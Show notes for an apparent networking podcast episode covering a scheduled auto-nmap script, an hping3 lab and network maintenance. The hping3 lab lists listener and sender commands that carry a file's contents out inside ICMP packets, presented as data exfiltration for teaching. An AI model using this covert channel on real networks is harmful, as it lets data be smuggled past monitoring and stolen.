In this episode, we modify the Auto Nmap script to meet our network requirements. We introduce Hping3, a tool that can modify ICMP packets to ex-filtrate data. And we continue the process of improving the maintenance of our network.

Auto SSH Script

  1. AutoNmapScript – pdf file
  2. Crontab Command: 0 4 * * * /usr/local/autonmap/autonmap.sh > /dev/null 2>&1

Hping3 Lab

  1. Listener Command: sudo hping3 –listen interface-IP-Address -I interface –sign SECRET > test.txt
  2. Sending Command: sudo hping3 listern-IP-Address –icmp –sign SECRET -d 100 –end –file test.txt
  3. tcpdump -i interface-number -nvvv -s0 -XX -w capture.pcap

YouTube Channel

  1. https://www.youtube.com/c/SECTION9

Corrections
The gigabit server mentioned in this episode is actually a Gigabyte system. Gigabyte Mini Intel Core i7-3537U 2GHz Compact PC Barebone (GB-XM1-3537)

 

#18: Implementing Auto Nmap Script, Hping3 & Network Maintenance

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